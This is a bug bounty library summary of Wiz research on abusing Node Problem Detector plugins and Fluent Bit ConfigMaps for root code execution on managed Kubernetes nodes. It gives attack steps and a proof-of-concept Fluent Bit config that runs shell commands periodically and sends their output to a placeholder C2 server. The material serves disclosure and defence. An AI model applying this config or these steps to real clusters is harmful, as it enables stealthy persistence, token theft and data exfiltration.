# Kubernetes Grey Zone: Risks in Managed Cluster Middleware

Managed cluster middleware like Node Problem Detector and Fluent Bit allow root code execution on nodes via writable plugin dirs and ConfigMaps, bypassing API server audit.

- Payout: Research
- Severity: high
- Program: Kubernetes managed clusters
- Write-up by: Wiz Research
- Disclosed: 2023-06-12
- Write-up quality: 7/10
- Original: https://www.wiz.io/blog/kubernetes-grey-zone-risks-in-managed-cluster-middleware
- Library page: https://bugbountylibrary.com/r/blog%3Awiz-io-blog-kubernetes-grey-zone-risks-in-managed-cluster-middleware
- Tags: area:cloud domain:cloud domain:infra impact:internal-access impact:privesc kind:research platform:threat-intel sev:high tech:kubernetes technique:recon technique:source-review vuln:misconfiguration vuln:privilege-escalation

**Target:** Node Problem Detector custom plugin monitor and Fluent Bit ConfigMap in AKS/EKS/GKE
**Root cause:** NPD executes bash scripts from a host directory and Fluent Bit's EXEC plugin runs shell commands from ConfigMaps; both run privileged with host access and are excluded from security controls.
**Steps:**
1. Enumerate pods and identify NPD custom plugin directory via process command line (`/home/kubernetes/npd-custom-plugins/configs` on GKE, `/etc/node-problem-detector.d/custom-plugin-monitor` on AKS).
2. Gain write access to the plugin directory via file-write CVE, compromised registry image, or pod escape.
3. Drop a malicious bash script plus JSON config; NPD executes it periodically as root on the host.
4. Alternatively, update Fluent Bit ConfigMap (`fluentbit-gke-config-v1.2.0` in GKE and `fluent-bit-config` in EKS) adding an `[INPUT] Name exec` with `Command hostname && id` and `[OUTPUT] Name http` to a C2 server.
5. Fluent Bit runs the command periodically and exfiltrates output to C2; new nodes autoscale and inherit the poisoned config.
**How found:** Reviewed kube-audit logs to observe runtime behavior of managed cluster middleware, which surfaced NPD; then inspected NPD process command lines and Fluent Bit ConfigMaps for writable execution surfaces.
**Exploitation:** Attacker with write to NPD plugin dir or Fluent Bit ConfigMap achieves periodic root code execution on nodes, plants SSH keys, runs cryptominers, exfiltrates local data, steals tokens of co-located pods, and pivots laterally across nodes.
**Escalation:** Persistence via periodic execution and etcd-stored config; lateral movement to other pods/nodes and autoscaled nodes; defense evasion bypassing API server audit, admission controllers, and EDR.
**Insight:** Middleware running as host-level system services (not DaemonSets) escapes Kubernetes policy enforcement entirely; check process command lines on nodes for plugin/config directories writable by pod-level attackers, and audit who can update logging ConfigMaps.

## Proof of concept (copied exactly from the original report)

**Fluent Bit EXEC plugin config running shell commands**

```
[INPUT] 
 Name exec 
 Tag id 
 Command hostname && id 
 Interval_Sec 10 
 Interval_NSec 0 
 Buf_Size 8mb 
[OUTPUT] 
 Name http 
 Match id 
 Host: <C2 server IP> 
 Port: <C2 server port>
```

**kubectl label showing kube-system PSA exemption**

```
$ kubectl label ns kube-system pod-security.kubernetes.io/enforce=restricted  
Warning: namespace "kube-system" is exempt from Pod Security, and the policy 
(enforce=restricted:latest) will be ignored
```